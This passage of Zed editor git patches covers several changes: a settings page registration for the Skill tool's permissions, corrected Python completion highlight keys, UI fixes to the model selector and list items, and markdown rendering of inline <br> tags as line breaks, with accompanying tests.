of the Skill tool’s own permission rules
---
 crates/settings_ui/src/pages.rs                        | 4 ++--
 crates/settings_ui/src/pages/tool_permissions_setup.rs | 2 ++
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/crates/settings_ui/src/pages.rs b/crates/settings_ui/src/pages.rs
index ecb3eda8007544..1287f36f064f1a 100644
--- a/crates/settings_ui/src/pages.rs
+++ b/crates/settings_ui/src/pages.rs
@@ -32,6 +32,6 @@ pub(crate) use tool_permissions_setup::render_tool_permissions_setup_page;
 pub use tool_permissions_setup::{
     render_copy_path_tool_config, render_create_directory_tool_config,
     render_delete_path_tool_config, render_edit_file_tool_config, render_fetch_tool_config,
-    render_move_path_tool_config, render_terminal_tool_config, render_web_search_tool_config,
-    render_write_file_tool_config,
+    render_move_path_tool_config, render_skill_tool_config, render_terminal_tool_config,
+    render_web_search_tool_config, render_write_file_tool_config,
 };
diff --git a/crates/settings_ui/src/pages/tool_permissions_setup.rs b/crates/settings_ui/src/pages/tool_permissions_setup.rs
index 25e8d1254c8e1a..d76f83cd9e2195 100644
--- a/crates/settings_ui/src/pages/tool_permissions_setup.rs
+++ b/crates/settings_ui/src/pages/tool_permissions_setup.rs
@@ -311,6 +311,7 @@ fn get_tool_render_fn(
         "create_directory" => render_create_directory_tool_config,
         "fetch" => render_fetch_tool_config,
         "search_web" => render_web_search_tool_config,
+        "skill" => render_skill_tool_config,
         _ => render_terminal_tool_config, // fallback
     }
 }
@@ -1388,6 +1389,7 @@ tool_config_page_fn!(render_move_path_tool_config, "move_path");
 tool_config_page_fn!(render_create_directory_tool_config, "create_directory");
 tool_config_page_fn!(render_fetch_tool_config, "fetch");
 tool_config_page_fn!(render_web_search_tool_config, "search_web");
+tool_config_page_fn!(render_skill_tool_config, "skill");
 
 #[cfg(test)]
 mod tests {

From f5c19126fbc2a5b61b273a8a99bb0c769968d77b Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 24 Jun 2026 16:04:40 +0800
Subject: [PATCH 071/772] languages: Fix completion item highlighting for
 Python (#59758)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Consider a simple Python file with the following content, where both a
method and a function are defined:
```python
class TestCase:
    def a_test_method(self):    # a method
        print("This is a method test")

def a_test_function():    # a function
    print("This is a function test")
```

Below this, if we type `a_test_func` and trigger language server
completion, we would expect to see `a_test_function` in the completion
list. Similarly, if we have:
```python
test = TestCase()
test.a_testˇ
```
and trigger language server completion, we should see `a_test_method` in
the completion list.

In both cases, we expect the items in the completion list to have the
same color highlighting as they do in the editor buffer, but currently,
they do not. This is because Zed uses the wrong queries to retrieve the
highlight. Taking the `ty` LSP adapter as an example:

https://github.com/zed-industries/zed/blob/d753a31db53e40c47cfb59964102f07c5493eb4f/crates/languages/src/python.rs#L323-L332
the key `"function.method"` and `"function"` are used to look up the
method and function highlight IDs, but these keys do not exist in
`crates/grammars/src/python/highlights.scm`, which defines the syntax
highlighting. The correct keys here should be `"function.method.call"`
and `"function.call"`.

## Solution

- As stated above, change the keys from `"function.method"` and
`"function"` to `"function.method.call"` and `"function.call"`,
respectively.
- Additionally, since we have several built-in language servers for
Python, a minor refactoring has been done to reduce duplicate code and
simplify future changes.

## Testing

- I have tested this change locally; the before and after comparison is
provided below.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase


<details>
  <summary>Click to view showcase</summary>

| Before | After |
| :---: | :---: |
| <img width="767" height="308" alt="function_before"
src="https://github.com/user-attachments/assets/943852d6-f54e-411d-916f-add7aac57956"
/> | <img width="767" height="308" alt="function_after"
src="https://github.com/user-attachments/assets/3a817229-ce32-4d13-88b8-9e9151869338"
/> |
| <img width="767" height="308" alt="method_before"
src="https://github.com/user-attachments/assets/cbc0f4f4-be6e-44d3-9798-df29df5731a3"
/> | <img width="767" height="308" alt="method_after"
src="https://github.com/user-attachments/assets/6e8f7e84-c5c6-4b37-a2c5-10820f12a09d"
/> |


</details>

---

Release Notes:

- Improved Python completion item highlighting for methods and
functions.
---
 crates/languages/src/python.rs | 51 +++++++++++++++-------------------
 1 file changed, 23 insertions(+), 28 deletions(-)

diff --git a/crates/languages/src/python.rs b/crates/languages/src/python.rs
index 2734c205ac8bf4..7159379aed62a2 100644
--- a/crates/languages/src/python.rs
+++ b/crates/languages/src/python.rs
@@ -14,7 +14,7 @@ use language::{
 use language::{ContextProvider, LspAdapter, LspAdapterDelegate};
 use language::{LanguageName, ManifestName, ManifestProvider, ManifestQuery};
 use language::{Toolchain, ToolchainList, ToolchainLister, ToolchainMetadata};
-use lsp::{LanguageServerBinary, Uri};
+use lsp::{CompletionItemKind, LanguageServerBinary, Uri};
 use lsp::{LanguageServerBinaryOptions, LanguageServerName};
 use node_runtime::{NodeRuntime, VersionStrategy};
 use pet_core::Configuration;
@@ -193,16 +193,8 @@ fn label_for_pyright_completion(
     let label = &item.label;
     let label_len = label.len();
     let grammar = language.grammar()?;
-    let highlight_id = match item.kind? {
-        lsp::CompletionItemKind::METHOD => grammar.highlight_id_for_name("function.method"),
-        lsp::CompletionItemKind::FUNCTION => grammar.highlight_id_for_name("function"),
-        lsp::CompletionItemKind::CLASS => grammar.highlight_id_for_name("type"),
-        lsp::CompletionItemKind::CONSTANT => grammar.highlight_id_for_name("constant"),
-        lsp::CompletionItemKind::VARIABLE => grammar.highlight_id_for_name("variable"),
-        _ => {
-            return None;
-        }
-    };
+    let highlight_id = highlight_id_for_completion(item.kind?, grammar)?;
+
     let mut text = label.clone();
     if let Some(completion_details) = item
         .label_details
@@ -255,6 +247,24 @@ fn label_for_python_symbol(
     ))
 }
 
+/// Returns the highlight ID for the given completion item kind, if it is supported.
+///
+/// The outer `Option` is `None` if the item kind returned by the language server is not covered.
+/// The inner `Option` is `None` if the item kind is covered, but the highlight name is not present in the grammar.
+fn highlight_id_for_completion(
+    item_kind: CompletionItemKind,
+    grammar: &Arc<language::Grammar>,
+) -> Option<Option<language::HighlightId>> {
+    match item_kind {
+        CompletionItemKind::METHOD => Some(grammar.highlight_id_for_name("function.method.call")),
+        CompletionItemKind::FUNCTION => Some(grammar.highlight_id_for_name("function.call")),
+        CompletionItemKind::CLASS => Some(grammar.highlight_id_for_name("type")),
+        CompletionItemKind::CONSTANT => Some(grammar.highlight_id_for_name("constant")),
+        CompletionItemKind::VARIABLE => Some(grammar.highlight_id_for_name("variable")),
+        _ => None,
+    }
+}
+
 pub struct TyLspAdapter {
     fs: Arc<dyn Fs>,
 }
@@ -320,16 +330,7 @@ impl LspAdapter for TyLspAdapter {
         let label = &item.label;
         let label_len = label.len();
         let grammar = language.grammar()?;
-        let highlight_id = match item.kind? {
-            lsp::CompletionItemKind::METHOD => grammar.highlight_id_for_name("function.method"),
-            lsp::CompletionItemKind::FUNCTION => grammar.highlight_id_for_name("function"),
-            lsp::CompletionItemKind::CLASS => grammar.highlight_id_for_name("type"),
-            lsp::CompletionItemKind::CONSTANT => grammar.highlight_id_for_name("constant"),
-            lsp::CompletionItemKind::VARIABLE => grammar.highlight_id_for_name("variable"),
-            _ => {
-                return None;
-            }
-        };
+        let highlight_id = highlight_id_for_completion(item.kind?, grammar)?;
 
         let mut text = label.clone();
         if let Some(completion_details) = item
@@ -1814,13 +1815,7 @@ impl LspAdapter for PyLspAdapter {
         let label = &item.label;
         let label_len = label.len();
         let grammar = language.grammar()?;
-        let highlight_id = match item.kind? {
-            lsp::CompletionItemKind::METHOD => grammar.highlight_id_for_name("function.method")?,
-            lsp::CompletionItemKind::FUNCTION => grammar.highlight_id_for_name("function")?,
-            lsp::CompletionItemKind::CLASS => grammar.highlight_id_for_name("type")?,
-            lsp::CompletionItemKind::CONSTANT => grammar.highlight_id_for_name("constant")?,
-            _ => return None,
-        };
+        let highlight_id = highlight_id_for_completion(item.kind?, grammar)??;
         Some(language::CodeLabel::filtered(
             label.clone(),
             label_len,

From aa7dc30ec38e1b052986de299aae184fe3fd74dc Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Wed, 24 Jun 2026 10:52:42 +0200
Subject: [PATCH 072/772] agent_ui: Fix favorite model button not showing for
 unselected models (#59803)

Release Notes:

- Fixed an issue where adding a model as a favorite was not possible for
all models but the currently selected one (preview only).
---
 .../src/ui/model_selector_components.rs       | 23 +++++++++----------
 1 file changed, 11 insertions(+), 12 deletions(-)

diff --git a/crates/agent_ui/src/ui/model_selector_components.rs b/crates/agent_ui/src/ui/model_selector_components.rs
index e194c582decc72..53ca58743d31d0 100644
--- a/crates/agent_ui/src/ui/model_selector_components.rs
+++ b/crates/agent_ui/src/ui/model_selector_components.rs
@@ -144,11 +144,6 @@ impl RenderOnce for ModelSelectorListItem {
             .when_some(self.disabled, |this, disabled_reason| {
                 this.disabled(true)
                     .tooltip(Tooltip::text(disabled_reason.0))
-                    .end_slot(
-                        div()
-                            .pr_2()
-                            .child(Icon::new(IconName::Info).color(Color::Muted)),
-                    )
             })
             .child(
                 h_flex()
@@ -182,13 +177,17 @@ impl RenderOnce for ModelSelectorListItem {
                         this.child(Chip::new(cost_info).tooltip(Tooltip::text(tooltip_text)))
                     }),
             )
-            .when(self.is_selected, |this| {
-                this.end_slot(
-                    div()
-                        .pr_2()
-                        .child(Icon::new(IconName::Check).color(Color::Accent)),
-                )
-            })
+            .end_slot(
+                h_flex()
+                    .pr_2()
+                    .gap_1p5()
+                    .when(self.is_selected, |this| {
+                        this.child(Icon::new(IconName::Check).color(Color::Accent))
+                    })
+                    .when(is_disabled, |this| {
+                        this.child(Icon::new(IconName::Info).color(Color::Muted))
+                    }),
+            )
             .when(!is_disabled, |this| {
                 this.end_slot_on_hover(div().pr_1p5().when_some(self.on_toggle_favorite, {
                     |this, handle_click| {

From d655580d9b9beb34949e1902c1d6ebeba740e972 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Wed, 24 Jun 2026 11:11:41 +0200
Subject: [PATCH 073/772] ui: Fix `end_slot_on_hover` API (#59805)

The issue here was that `end_slot_on_hover` would currently only work if
`end_slot` was also set. With this, it will now work even if there is no
`end_slot`.

Release Notes:

- N/A
---
 crates/ui/src/components/list/list_item.rs | 48 ++++++++++++----------
 1 file changed, 27 insertions(+), 21 deletions(-)

diff --git a/crates/ui/src/components/list/list_item.rs b/crates/ui/src/components/list/list_item.rs
index c03de61e1e0808..7077aea4c7c37c 100644
--- a/crates/ui/src/components/list/list_item.rs
+++ b/crates/ui/src/components/list/list_item.rs
@@ -404,30 +404,36 @@ impl RenderOnce for ListItem {
                             .children(self.children),
                     )
                     .when(self.end_slot.is_some(), |this| this.justify_between())
-                    .when_some(self.end_slot, |this, end_slot| {
-                        this.child(match self.end_slot_visibility {
-                            EndSlotVisibility::Always => {
-                                h_flex().flex_shrink_1().overflow_hidden().child(end_slot)
-                            }
-                            EndSlotVisibility::OnHover => h_flex()
-                                .flex_shrink_1()
-                                .overflow_hidden()
-                                .visible_on_hover("list_item")
-                                .child(end_slot),
-                            EndSlotVisibility::SwapOnHover(hover_slot) => h_flex()
+                    .map(|this| match self.end_slot_visibility {
+                        EndSlotVisibility::Always if let Some(end_slot) = self.end_slot => {
+                            this.child(h_flex().flex_shrink_1().overflow_hidden().child(end_slot))
+                        }
+                        EndSlotVisibility::OnHover if let Some(end_slot) = self.end_slot => this
+                            .child(
+                                h_flex()
+                                    .flex_shrink_1()
+                                    .overflow_hidden()
+                                    .visible_on_hover("list_item")
+                                    .child(end_slot),
+                            ),
+                        EndSlotVisibility::SwapOnHover(hover_slot) => this.child(
+                            h_flex()
                                 .relative()
                                 .flex_shrink_1()
                                 .child(h_flex().visible_on_hover("list_item").child(hover_slot))
-                                .child(
-                                    h_flex()
-                                        .absolute()
-                                        .inset_0()
-                                        .justify_end()
-                                        .overflow_hidden()
-                                        .group_hover("list_item", |this| this.invisible())
-                                        .child(end_slot),
-                                ),
-                        })
+                                .when_some(self.end_slot, |this, end_slot| {
+                                    this.child(
+                                        h_flex()
+                                            .absolute()
+                                            .inset_0()
+                                            .justify_end()
+                                            .overflow_hidden()
+                                            .group_hover("list_item", |this| this.invisible())
+                                            .child(end_slot),
+                                    )
+                                }),
+                        ),
+                        _ => this,
                     }),
             )
     }

From 5a5242ffebd0bbc249c65a1edecd51086a183f3d Mon Sep 17 00:00:00 2001
From: David Alecrim <35930364+davidalecrim1@users.noreply.github.com>
Date: Wed, 24 Jun 2026 07:22:36 -0300
Subject: [PATCH 074/772] markdown: Render inline <br> tags as line breaks
 (#54165)

## Summary
Inline `<br>` tags in markdown (e.g. `<br>`, `<br/>`, `<br />`) were
rendered as literal text instead of line breaks when images are around.
VS Code and GitHub both treat them as hard line breaks.

The fix has two layers:

**Parser (`parser.rs`):** The text-merge loop was consuming `InlineHtml`
events as empty text. `<br>` variants are now excluded from that loop
and converted to `HardBreak` events instead, matching the semantics of a
trailing two-space or backslash line break in CommonMark.

**Renderer (`markdown.rs`):** Image paragraphs use a flex row layout, so
text `\n` has no effect. `HardBreak` inside an image paragraph now
inserts a `div().w_full().h_0()` child, which forces a flex-wrap row
break. Images also get `mr_2()`/`mb_2()` margins for spacing, replacing
the previous `SoftBreak`-as-space hack. `SoftBreak` is suppressed inside
image paragraphs to avoid phantom whitespace elements disrupting the
flex layout.

## Screenshots

### Before

How Zed WAS rendering this:
<img width="629" height="601" alt="Screenshot 2026-04-17 at 07 53 26"
src="https://github.com/user-attachments/assets/cbfa6c81-83ea-467a-b73f-a2efef953bb4"
/>

### Comparison

This is how Github renders this:
<img width="1006" height="911" alt="Screenshot 2026-04-17 at 07 06 49"
src="https://github.com/user-attachments/assets/6ee286c6-026b-4a85-a931-c61cf24370ba"
/>

This is how VS Code renders this:
<img width="1511" height="947" alt="Screenshot 2026-04-17 at 07 03 36"
src="https://github.com/user-attachments/assets/1bc41c85-bb3d-48c6-9e21-cd96327c43c6"
/>

### After

This is the end result after the changes:
<img width="821" height="807" alt="Screenshot 2026-04-17 at 07 45 32"
src="https://github.com/user-attachments/assets/8882abaa-dc07-45fb-9aaa-a908712dce65"
/>

[Created this Github repo for testing
](https://github.com/davidalecrim1/zed-md-test)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed inline `<br>` tags in markdown previews rendering as literal
text instead of line breaks

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/markdown/src/markdown.rs | 376 ++++++++++++++++++++++++++------
 crates/markdown/src/parser.rs   | 125 ++++++++++-
 2 files changed, 431 insertions(+), 70 deletions(-)

diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 5a033c17bbbcc5..80265834dfa2c4 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -22,7 +22,6 @@ use util::maybe;
 
 use std::borrow::Cow;
 use std::collections::BTreeMap;
-use std::iter;
 use std::mem;
 use std::ops::Range;
 use std::path::Path;
@@ -1342,14 +1341,14 @@ impl MarkdownElement {
         width: Option<DefiniteLength>,
         height: Option<DefiniteLength>,
     ) {
-        builder.modify_current_div(|el| el.flex().flex_row().flex_wrap().items_start());
-
         let image_element = div().min_w_0().child(
             img(source)
                 .id(("markdown-image", range.start))
                 .min_w_0()
                 .max_w_full()
                 .rounded_md()
+                .mr_1()
+                .mb_1()
                 .when_some(height, |this, height| this.h(height))
                 .when_some(width, |this, width| this.w(width))
                 .with_fallback(move || image_fallback_element(dest_url.clone(), alt_text.clone())),
@@ -2647,14 +2646,12 @@ impl Element for MarkdownElement {
                     );
                     builder.pop_div()
                 }
-                MarkdownEvent::SoftBreak => {
-                    if self.style.soft_break_as_hard_break {
-                        builder.push_text("\n", range.clone())
-                    } else {
-                        builder.push_text(" ", range.clone())
-                    }
+                MarkdownEvent::SoftBreak if !self.style.soft_break_as_hard_break => {
+                    builder.push_soft_break(range.clone());
+                }
+                MarkdownEvent::SoftBreak | MarkdownEvent::HardBreak => {
+                    builder.push_line_break(range.clone());
                 }
-                MarkdownEvent::HardBreak => builder.push_text("\n", range.clone()),
                 MarkdownEvent::TaskListMarker(_) => {
                     // handled inside the `MarkdownTag::Item` case
                 }
@@ -3013,7 +3010,7 @@ struct MetadataCellStyle {
 }
 
 struct MarkdownElementBuilder {
-    div_stack: Vec<AnyDiv>,
+    div_stack: Vec<DivStackEntry>,
     rendered_lines: Vec<RenderedLine>,
     pending_line: PendingLine,
     rendered_links: Vec<RenderedLink>,
@@ -3030,6 +3027,26 @@ struct MarkdownElementBuilder {
     syntax_theme: Arc<SyntaxTheme>,
 }
 
+struct DivStackEntry {
+    div: AnyDiv,
+    line_break_mode: LineBreakMode,
+}
+
+#[derive(Clone, Copy, Eq, PartialEq)]
+enum LineBreakMode {
+    TextLayout,
+    FlexWrap,
+}
+
+impl DivStackEntry {
+    fn new(div: impl Into<AnyDiv>) -> Self {
+        Self {
+            div: div.into(),
+            line_break_mode: LineBreakMode::TextLayout,
+        }
+    }
+}
+
 #[derive(Default)]
 struct PendingLine {
     text: String,
@@ -3051,7 +3068,7 @@ impl MarkdownElementBuilder {
             div_stack: vec![{
                 let mut base_div = div();
                 base_div.style().refine(container_style);
-                base_div.debug_selector(|| "inner".into()).into()
+                DivStackEntry::new(base_div.debug_selector(|| "inner".into()))
             }],
             rendered_lines: Vec::new(),
             pending_line: PendingLine::default(),
@@ -3115,7 +3132,7 @@ impl MarkdownElementBuilder {
             });
         }
 
-        self.div_stack.push(div);
+        self.div_stack.push(DivStackEntry::new(div));
     }
 
     fn push_root_block(&mut self, range: &Range<usize>, markdown_end: usize) {
@@ -3128,17 +3145,43 @@ impl MarkdownElementBuilder {
     }
 
     fn push_image_child(&mut self, child: impl IntoElement) {
-        self.flush_text();
+        self.modify_current_div(|el| el.flex().flex_row().flex_wrap().items_start());
+        self.div_stack.last_mut().unwrap().line_break_mode = LineBreakMode::FlexWrap;
+        self.append_child(child.into_any_element());
+    }
+
+    fn push_line_break(&mut self, source_range: Range<usize>) {
+        if self.uses_flex_line_breaks() {
+            self.modify_current_div(|el| el.child(div().w_full().h_0()));
+        } else {
+            self.push_text("\n", source_range);
+        }
+    }
+
+    fn push_soft_break(&mut self, source_range: Range<usize>) {
+        // A soft break right after an item in flex wrap container would otherwise
+        // render as a stray leading space before the next wrapped item.
+        if self.uses_flex_line_breaks() && self.pending_line.text.is_empty() {
+            return;
+        }
+        self.push_text(" ", source_range);
+    }
+
+    fn append_child(&mut self, child: AnyElement) {
+        self.div_stack.last_mut().unwrap().div.extend([child]);
+    }
+
+    fn uses_flex_line_breaks(&self) -> bool {
         self.div_stack
-            .last_mut()
-            .unwrap()
-            .extend([child.into_any_element()]);
+            .last()
+            .is_some_and(|entry| entry.line_break_mode == LineBreakMode::FlexWrap)
     }
 
     fn modify_current_div(&mut self, f: impl FnOnce(AnyDiv) -> AnyDiv) {
         self.flush_text();
-        if let Some(div) = self.div_stack.pop() {
-            self.div_stack.push(f(div));
+        if let Some(mut entry) = self.div_stack.pop() {
+            entry.div = f(entry.div);
+            self.div_stack.push(entry);
         }
     }
 
@@ -3173,20 +3216,20 @@ impl MarkdownElementBuilder {
 
     fn pop_div(&mut self) {
         self.flush_text();
-        let div = self.div_stack.pop().unwrap().into_any_element();
-        self.div_stack.last_mut().unwrap().extend(iter::once(div));
+        let div = self.div_stack.pop().unwrap().div.into_any_element();
+        self.append_child(div);
     }
 
     fn push_sourced_element(&mut self, source_range: Range<usize>, element: impl Into<AnyElement>) {
         self.flush_text();
         let anchor = self.render_source_anchor(source_range);
-        self.div_stack.last_mut().unwrap().extend([{
+        self.append_child(
             div()
                 .relative()
                 .child(anchor)
                 .child(element.into())
-                .into_any_element()
-        }]);
+                .into_any_element(),
+        );
     }
 
     fn push_list(&mut self, bullet_index: Option<u64>) {
@@ -3328,10 +3371,7 @@ impl MarkdownElementBuilder {
             TextAlign::Right => checkbox_container.justify_end(),
         };
 
-        self.div_stack
-            .last_mut()
-            .unwrap()
-            .extend([checkbox_container.child(checkbox).into_any_element()]);
+        self.append_child(checkbox_container.child(checkbox).into_any_element());
     }
 
     fn source_range_for_rendered(&self, rendered: &Range<usize>) -> Option<Range<usize>> {
@@ -3377,14 +3417,14 @@ impl MarkdownElementBuilder {
             language: self.code_block_stack.last().cloned().flatten(),
             text_align,
         });
-        self.div_stack.last_mut().unwrap().extend([text.into_any()]);
+        self.append_child(text.into_any());
     }
 
     fn build(mut self) -> RenderedMarkdown {
         debug_assert_eq!(self.div_stack.len(), 1);
         self.flush_text();
         RenderedMarkdown {
-            element: self.div_stack.pop().unwrap().into_any_element(),
+            element: self.div_stack.pop().unwrap().div.into_any_element(),
             text: RenderedText {
                 lines: self.rendered_lines.into(),
                 links: self.rendered_links.into(),
@@ -3926,13 +3966,21 @@ impl RenderedText {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use gpui::{TestAppContext, size};
+    use gpui::{RenderImage, TestAppContext, size};
     use language::{Language, LanguageConfig, LanguageMatcher};
     use std::sync::{
         Arc,
         atomic::{AtomicUsize, Ordering},
     };
 
+    struct TestWindow;
+
+    impl Render for TestWindow {
+        fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+            div()
+        }
+    }
+
     fn ensure_theme_initialized(cx: &mut TestAppContext) {
         cx.update(|cx| {
             if !cx.has_global::<settings::SettingsStore>() {
@@ -4123,14 +4171,6 @@ mod tests {
         callback: impl Fn(&str, &App) -> Option<SharedString> + 'static,
         cx: &mut TestAppContext,
     ) -> RenderedText {
-        struct TestWindow;
-
-        impl Render for TestWindow {
-            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
-                div()
-            }
-        }
-
         ensure_theme_initialized(cx);
 
         let (_, cx) = cx.add_window_view(|_, _| TestWindow);
@@ -4166,14 +4206,6 @@ mod tests {
         options: MarkdownOptions,
         cx: &mut TestAppContext,
     ) -> RenderedText {
-        struct TestWindow;
-
-        impl Render for TestWindow {
-            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
-                div()
-            }
-        }
-
         ensure_theme_initialized(cx);
 
         let (_, cx) = cx.add_window_view(|_, _| TestWindow);
@@ -4203,6 +4235,192 @@ mod tests {
         rendered.text
     }
 
+    fn render_markdown_with_image_resolver(
+        markdown: &str,
+        options: MarkdownOptions,
+        resolver: impl Fn(&str) -> Option<ImageSource> + 'static,
+        cx: &mut TestAppContext,
+    ) -> RenderedText {
+        ensure_theme_initialized(cx);
+
+        let (_, cx) = cx.add_window_view(|_, _| TestWindow);
+        let markdown = cx.new(|cx| {
+            Markdown::new_with_options(markdown.to_string().into(), None, None, options, cx)
+        });
+        cx.run_until_parked();
+        let (rendered, _) = cx.draw(
+            Default::default(),
+            size(px(600.0), px(600.0)),
+            |_window, _cx| {
+                MarkdownElement::new(markdown, MarkdownStyle::default())
+                    .image_resolver(resolver)
+                    .code_block_renderer(CodeBlockRenderer::Default {
+                        copy_button_visibility: CopyButtonVisibility::Hidden,
+                        wrap_button_visibility: WrapButtonVisibility::Hidden,
+                        border: false,
+                    })
+            },
+        );
+        rendered.text
+    }
+
+    fn test_image(cx: &mut TestAppContext) -> Arc<RenderImage> {
+        cx.update(|cx| {
+            cx.svg_renderer()
+                .render_single_frame(
+                    br#"<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"></svg>"#,
+                    1.0,
+                )
+                .expect("test svg should render")
+        })
+    }
+
+    #[gpui::test]
+    fn test_soft_break_keeps_space_in_paragraph_with_image(cx: &mut TestAppContext) {
+        let image = test_image(cx);
+        let rendered = render_markdown_with_image_resolver(
+            "Here is an image ![alt](https://example.com/a.png) and more text\nthat continues",
+            MarkdownOptions::default(),
+            move |_| Some(ImageSource::Render(image.clone())),
+            cx,
+        );
+        let text: String = rendered
+            .lines
+            .iter()
+            .map(|line| line.layout.wrapped_text())
+            .collect();
+        assert!(
+            text.contains("more text that continues"),
+            "soft break in an image paragraph should still separate words with a space; got: {text:?}"
+        );
+        assert!(
+            !text.contains("textthat"),
+            "soft break between words must not be dropped; got: {text:?}"
+        );
+    }
+
+    #[gpui::test]
+    fn test_soft_break_after_image_does_not_insert_leading_space(cx: &mut TestAppContext) {
+        let image = test_image(cx);
+        let rendered = render_markdown_with_image_resolver(
+            "![alt](https://example.com/a.png)\ncaption",
+            MarkdownOptions::default(),
+            move |_| Some(ImageSource::Render(image.clone())),
+            cx,
+        );
+        let text: String = rendered
+            .lines
+            .iter()
+            .map(|line| line.layout.wrapped_text())
+            .collect();
+        assert_eq!(
+            text, "caption",
+            "a soft break after an image should not insert leading whitespace before caption text; got: {text:?}"
+        );
+    }
+
+    #[gpui::test]
+    fn test_break_between_images_does_not_inject_leading_space(cx: &mut TestAppContext) {
+        let image = test_image(cx);
+        let rendered = render_markdown_with_image_resolver(
+            "![Image 3](https://example.com/3.png)\n<br>\n![Image 4](https://example.com/4.png)",
+            MarkdownOptions {
+                parse_html: true,
+                ..Default::default()
+            },
+            move |_| Some(ImageSource::Render(image.clone())),
+            cx,
+        );
+        let stray_whitespace_line = rendered.lines.iter().find_map(|line| {
+            let text = line.layout.wrapped_text();
+            (!text.is_empty() && text.trim().is_empty()).then_some(text)
+        });
+        assert!(
+            stray_whitespace_line.is_none(),
+            "soft break after a <br> between images must not render a stray space \
+             before the wrapped image; got whitespace-only line: {stray_whitespace_line:?}"
+        );
+    }
+
+    #[gpui::test]
+    fn test_break_in_tight_list_item_after_image_item_is_newline(cx: &mut TestAppContext) {
+        let image = test_image(cx);
+        let rendered = render_markdown_with_image_resolver(
+            "- ![alt](https://example.com/a.png)\n- first<br>second",
+            MarkdownOptions {
+                parse_html: true,
+                ..Default::default()
+            },
+            move |_| Some(ImageSource::Render(image.clone())),
+            cx,
+        );
+        let text: String = rendered
+            .lines
+            .iter()
+            .map(|line| line.layout.wrapped_text())
+            .collect();
+        assert!(
+            text.contains("first\nsecond"),
+            "break in a text-only tight list item should render as a newline; got: {text:?}"
+        );
+    }
+
+    #[gpui::test]
+    fn test_hard_style_soft_break_after_image_moves_caption_to_next_row(cx: &mut TestAppContext) {
+        ensure_theme_initialized(cx);
+
+        let image = test_image(cx);
+        let markdown_source = "![alt](https://example.com/a.png)\ncaption";
+        let caption_range = markdown_source.len() - "caption".len()..markdown_source.len();
+
+        let (_, cx) = cx.add_window_view(|_, _| TestWindow);
+        let markdown = cx.new(|cx| {
+            Markdown::new_with_options(
+                markdown_source.to_string().into(),
+                None,
+                None,
+                MarkdownOptions::default(),
+                cx,
+            )
+        });
+        cx.run_until_parked();
+
+        let mut caption_top = |soft_break_as_hard_break: bool| {
+            let mut style = MarkdownStyle::default();
+            style.soft_break_as_hard_break = soft_break_as_hard_break;
+            let image = image.clone();
+            let (rendered, _) = cx.draw(
+                Default::default(),
+                size(px(600.0), px(600.0)),
+                |_window, _cx| {
+                    MarkdownElement::new(markdown.clone(), style)
+                        .image_resolver(move |_| Some(ImageSource::Render(image.clone())))
+                        .code_block_renderer(CodeBlockRenderer::Default {
+                            copy_button_visibility: CopyButtonVisibility::Hidden,
+                            wrap_button_visibility: WrapButtonVisibility::Hidden,
+                            border: false,
+                        })
+                },
+            );
+            rendered
+                .text
+                .bounds_for_source_range(caption_range.clone())
+                .into_iter()
+                .next()
+                .expect("caption should have text bounds")
+                .top()
+        };
+
+        let caption_top_with_break = caption_top(true);
+        let caption_top_without_break = caption_top(false);
+
+        assert!(
+            caption_top_with_break > caption_top_without_break,
+            "caption should render below the image for hard-style soft breaks; \
+             top with break: {caption_top_with_break:?}, top without break: {caption_top_without_break:?}"
+        );
+    }
+
     #[gpui::test]
     fn test_surrounding_word_range(cx: &mut TestAppContext) {
         let rendered = render_markdown("Hello world tesεζ", cx);
@@ -4754,6 +4972,56 @@ mod tests {
         }
     }
 
+    #[gpui::test]
+    fn test_inline_br_renders_as_line_break(cx: &mut TestAppContext) {
+        let options = MarkdownOptions {
+            parse_html: true,
+            ..Default::default()
+        };
+
+        for br in ["<br>", "<br/>", "<br />"] {
+            let md = format!("first{br}second");
+            let rendered = render_markdown_with_options(&md, None, options, cx);
+            let text: String = rendered
+                .lines
+                .iter()
+                .map(|line| line.layout.wrapped_text())
+                .collect();
+            assert!(
+                !text.contains(br),
+                "{br} should not appear as literal text; got: {text:?}"
+            );
+            assert!(
+                text.contains("first\nsecond"),
+                "{br} should produce a newline between 'first' and 'second'; got: {text:?}"
+            );
+        }
+    }
+
+    #[gpui::test]
+    fn test_hard_break_in_text_paragraph_after_paragraph(cx: &mut TestAppContext) {
+        let options = MarkdownOptions {
+            parse_html: true,
+            ..Default::default()
+        };
+        let rendered =
+            render_markdown_with_options("para one\n\nfirst<br>second", None, options, cx);
+        let all_text: String = rendered
+            .lines
+            .iter()
+            .map(|line| line.layout.wrapped_text())
+            .collect::<Vec<_>>()
+            .join("\n");
+        assert!(
+            all_text.contains("first") && all_text.contains("second"),
+            "both sides of <br> should be present; got: {all_text:?}"
+        );
+        assert!(
+            !all_text.contains("<br>"),
+            "<br> should not appear as literal text; got: {all_text:?}"
+        );
+    }
+
     #[test]
